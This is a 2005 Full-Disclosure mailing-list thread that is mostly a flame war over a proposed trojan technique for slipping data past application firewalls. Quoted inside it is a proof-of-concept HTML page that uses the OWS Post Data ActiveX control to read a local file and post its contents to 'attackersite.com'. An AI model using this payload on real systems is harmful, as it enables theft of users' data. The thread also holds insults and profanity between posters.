Message-ID: <20051222181308.95D84DEE@lists.grok.org.uk>
Date: Thu Dec 22 18:13:44 2005
From: mail at hackingspirits.com (Debasis Mohanty)
Subject: new attack technique?
	usingJavaScript+XML+OWSPost Data

All that I can say is, stop creating several new Ids and give a pat on your
own shoulder.... Yet to see new Ids created in Yahoo, msn and others besides
those gmail only ids. 
 
- D

  _____  

From: full-disclosure-bounces@...ts.grok.org.uk
[mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of Test Drive
Sent: Thursday, December 22, 2005 11:33 PM
To: Gaurav Kumar
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: [Full-disclosure] new attack technique?
usingJavaScript+XML+OWSPost Data


Basically Gaurav, 
we should tell a moron that he is a moron.
By the look and feel of his website anyone can tell how mature he is, leave
the content alone.
Otherwise known as tr0y claims many things which we know are have no true
existance. 
His resume is full of shit, lolz "Key-loggers with back-doors"....tell me if
i am wrong, basically u do not understand what a backdoor is.


//TD6



On 12/22/05, Gaurav Kumar <gaurav@...urebox.org> wrote: 

All I have to say is that we should cut the crap. I just thought of a
possible attack scenario which I proved using a PoC and posted to this
mailing list for discussion and constructive feedback which can help
in developing more secure applications. 

All I got from debasis is "PISS OFF, LAME, KID, MORON". He asked me to
do more research before posting anything. I proved I was right using a
screenshot. Looks like it has hurted his ego.

I might be kid enough not to understand the purpose of this list but I 
am mature enough to understand flaming is NOT the purpose.

So I would rather like to suggest we should stop this thread.

Thank you all.
Gaurav.

On 12/22/05, name pipe < namepipe@...il.com <mailto:namepipe@...il.com> >
wrote:
> Before flaming others just look at urself.  wtf u do moron debasis , sell
> nessus reports for 5K, without even removing false +ives ??
>  This is ur elite resume -> 
> http://seclists.org/lists/security-jobs/2003/Oct/0156.html
> hahaha Ethical Hacker ???? omfg. You trying to be next fadia or wat ? Do
you 
> want me to post ur lame Firewall bypass vulnerabilities links which have
> been already founded  years before?
>
>  Basically u are an asshole. So stfu.
>
>
> On 12/22/05, Debasis Mohanty < mail@...kingspirits.com> wrote:
> > Keep it up moron !!
> >
> > > oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years
> > > kidder than u) 
> >
> > Shit !! Another several years ppl has to tolerate your stupidity till
you
> > actuall _grow up_.
> >
> > > Tell me one thing, a Windows XP + Offfice XP + Internet explorer 
> > > combination so rare ?
> >
> > Is this a new topic ?? I mean are you done with your firewall and some
> > weired trojan design :P
> >
> >
> > - D
> >
> >
> > -----Original Message-----
> > From: gkverma@...il.com [mailto:gkverma@...il.com] On Behalf Of Gaurav 
> Kumar
> > Sent: Thursday, December 22, 2005 10:23 PM
> > To: Debasis Mohanty
> > Cc: full-disclosure@...ts.grok.org.uk
> > Subject: Re: [Full-disclosure] new attack technique? using 
> > JavaScript+XML+OWSPost Data
> >
> > typo- i am 22 and YOU ARE 27, so i am 5 years kidder than u.
> >
> > On 12/22/05, Gaurav Kumar < gaurav@...urebox.org> wrote:
> > > oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years
> > > kidder than u)
> > >
> > > The _real_ thing is that I proved the point. 
> > > U told win xp will give access denied error. I proved u wrong with the
> > > proof attached.
> > > U told above technique wont work...i proved u wrong.
> > > Tell me one thing, a Windows XP + Offfice XP + Internet explorer 
> > > combination so rare ?
> > >
> > > Is that all making ur ego shattered?
> > >
> > > ...and u are no one to decide what should one disuss on this list.
> > > 
> > > regards,
> > > gaurav
> > >
> > >
> > >
> > > On 12/22/05, Debasis Mohanty < mail@...kingspirits.com
<mailto:mail@...kingspirits.com> > wrote:
> > > > Kid,
> > > > Although I normally don't reply to such frivilous and lame
> > > > statements but your reply has seriously piss me off.. So dropping
> > > > few lines, perhaps will help you grow up !! 
> > > >
> > > > -----Original Message-----
> > > > >> From: Gaurav Kumar brazenly wrote:
> > > >
> > > > >> Looks like u need to read again what i wrote. I didnt use the 
> > > > >> word
> > > > 'spread'.
> > > >
> > > > I don't have to !! I can still remember your priceless statements
> > > > [1] + [2]
> > > > - 
> > > >
> > > > [1] A Trojan has been to be placed in a system running an
> > > > application [1] firewall like Zone Alarm Pro etc.
> > > >
> > > > [2] The target system must be having office XP and the user has to 
> > > > be [2] lured to view a webpage hosted by attacker.
> > > >
> > > >
> > > > ROFL !! May be you could just ask your l33t victim to send you his
> > > > passwords and other info by email :P Don't forget to send him your 
> > > > l33t email ID - '@ securebox.org'
> > > >
> > > >
> > > > >> [3] Moreover, u need not know if the target system is running ZA 
> > > > >> or
> > > > not...
> > > > >> [3] "the technique works even if firewall is not installed".
> > > >
> > > > >> [4] I am discussing a possible 'design' of a trojan here, "doesnt

> > > > >> matter
> > > > is ZA
> > > > >> [4] or any other FW is running on client".
> > > >
> > > > Looking at statement [3] & [4], (especially the statement within 
> > > > double
> > > > quotes) just made me believe that you don't know what your are
> > > > talking about unless you want to look like an idiot.
> > > >
> > > > 
> > > > >> really? ever heard of IE exploits?
> > > >
> > > > Priceless !!
> > > >
> > > >
> > > > >> Well..Exactly! i would suggest u read the 'assumptions' first, 
> > > > >> its an assumption that user will click yes to warning...like most
> > 'normal'
> > > > users do.
> > > >
> > > > Yet another priceless statement... Maybe you could just ask your 
> > > > l33t victim to click 'yes' to your l33t piece of code trying to
> > > > download some l33t piece of shit which will fail to run and die like
> an
> > idiot.
> > > > 
> > > >
> > > > I am sure you have enough l33t skills to strick back to keep your
> > > > ego up2date however, I wud rather suggest if you have only your
> > > > stupidity to share then feel free to take it offline and don't piss 
> > > > off everyone in this list. I would welcome you if you really want to
> > > > strike back with some _serious_ technical stuff. (Note: make a note
> > > > of _serious_ in the statement) 
> > > >
> > > > - D
> > > >
> > > >
> > > >
> > > >
> > > > -----Original Message-----
> > > > From: gkverma@...il.com [mailto:gkverma@...il.com] On Behalf Of
> > > > Gaurav Kumar
> > > > Sent: Thursday, December 22, 2005 8:52 AM 
> > > > To: Debasis Mohanty
> > > > Cc: full-disclosure@...ts.grok.org.uk;
> websecurity@...appsec.org  <mailto:websecurity@...appsec.org> 
> > > > Subject: Re: [WEB SECURITY] RE: [Full-disclosure] new attack
> technique?
> > > > using JavaScript+XML+OWSPost Data
> > > >
> > > > On 12/22/05, Debasis Mohanty < mail@...kingspirits.com> wrote:
> > > > > -----Original Message-----
> > > > > From: Gaurav Kumar
> > > > > Sent: Wednesday, December 21, 2005 8:59 PM 
> > > > > To: full-disclosure@...ts.grok.org.uk
> > > > > Cc: websecurity@...appsec.org  <mailto:websecurity@...appsec.org> 
> > > > > Subject: [Full-disclosure] new attack technique? using
> > > > > JavaScript+XML+OWSPost Data
> > > > >
> > > > > 1>> A Trojan has been to be placed in a system running an 
> > > > > 1>> application firewall like Zone Alarm Pro etc.
> > > > >
> > > > > >> Assumptions:
> > > > >
> > > > > 2>> The target system must be having office XP and the user has to

> > > > > 2>> be lured to view a webpage hosted by attacker.
> > > > >
> > > > > 3>> The Trojan can be designed to generate an xml file which will
> > > > > 3>> contain the data to be sent out. The attacker will lure 
> > > > > the
> > > > > 3>> user to visit a website hosted by him.
> > > > >
> > > > > Lol !! In a practical scenario, the attacker who spreads the 
> > > > > worm/trojans himself is not aware in the initial stage which are
> > > > > the infected machines unless the trojan sends back the
> > > > > machine/user info back to the attacker. Now as you have already 
> > > > > mentioned ZA is running then no data can be sent back to the
> > > > > attacker. So the attacker is clueless
> > > > which are those infected machines.
> > > > 
> > > > Looks like u need to read again what i wrote. I didnt use the word
> > 'spread'.
> > > > Moreover, u need not know if the target system is running ZA or
> > > > not...the technique works even if firewall is not installed. I am 
> > > > discussing a possible 'design' of a trojan here, doesnt matter is ZA
> > > > or any other FW is running on client.
> > > >
> > > > > So the case of luring the user to visit the link is out of
scope... 
> > > >
> > > > really? ever heard of IE exploits?
> > > >
> > > > >
> > > > > >> The site can have following HTML code-
> > > > > 
> > > > > Now coming back to technical stuff, You are trying to access a
> > > > > local file which will only be allowed if the site is in "Trusted
> > > > > Sites" or "Local Intranet" or "Local Security Zone" and activex
not 
> > marked safe.
> > > > > The fact that *the client is also the server* is irrelevant.
> > > > >
> > > > > Try uploading the script to some webserver and give a html 
> > > > > extention; it will throw an _access denied_ error when the page
> > > > > loads (even on Win XP + SP1).
> > > > >
> > > > > In case of any server side extention like *.asp, *.jsp etc, the 
> > > > > user will be prompted that an malicious component is trying to
> > > > > load and ask for user permission.
> > > > >
> > > > >
> > > > > >> <html> 
> > > > > >> <body>
> > > > > >> The author is not responsible for any misuse, this PoC is for
> > > > > >> educational purpose only.
> > > > > >> <object 
> classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
> > > > > >> id="exp">
> > > > > >> </object>
> > > > > >> <script LANGUAGE=javascript> 
> > > > > >> var xmlDoc
> > > > > >> xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
> > > > > >> xmlDoc.async=false ;
> > > > > >> xmlDoc.load("c:\\note.xml");
> > > > > >> xmlObj=xmlDoc.documentElement;
> > > > > >> var a= xmlObj.firstChild.text;
> > > > > >> exp.Post(0," 
> http://www.attackersite.com/input.asp",a)
<http://www.attackersite.com/input.asp> ;
> > > > > >> </script>
> > > > > >> </body> 
> > > > > >> </html>
> > > > >
> > > > >
> > > > > >> The above code (works well on windows XP SP2) essentials calls
> > > > > >> "OWS Post Data" COM control to post the contents of note.xml
> > > > > >> (generated by trojan) to attackersite.com
> > > > >
> > > > > IMHO, never conduct such tests in a "Intranet Zone" or "Local
Zone" 
> > > > > and draw conclusion about "Internet Security Zone".
> > > > >
> > > > > You may also link to know about this issue -
> > > > > http://support.microsoft.com/kb/317244/EN-US/
> > > > >
> > > > >
> > > > > >>> Essentially, the technique is breaking the basic functionality
> > > > > >>> of application firewalls by using OWS Post Data as bridge for 
> > > > > >>> sending out the data using Javascript and XML.
> > > > >
> > > > > Not Exactly !! I wud rather suggest you to do a little more
> > > > > research and draw any conclusion. Keep those _Security Zones_ in 
> > > > > mind before you post anything...
> > > >
> > > > Well..Exactly! i would suggest u read the 'assumptions' first, its
> > > > an assumption that user will click yes to warning...like most
'normal' 
> > > > users do.
> > > > >
> > > > >
> > > > > - D
> > > >
> > > >
> > > >
> > >
> > 
> >
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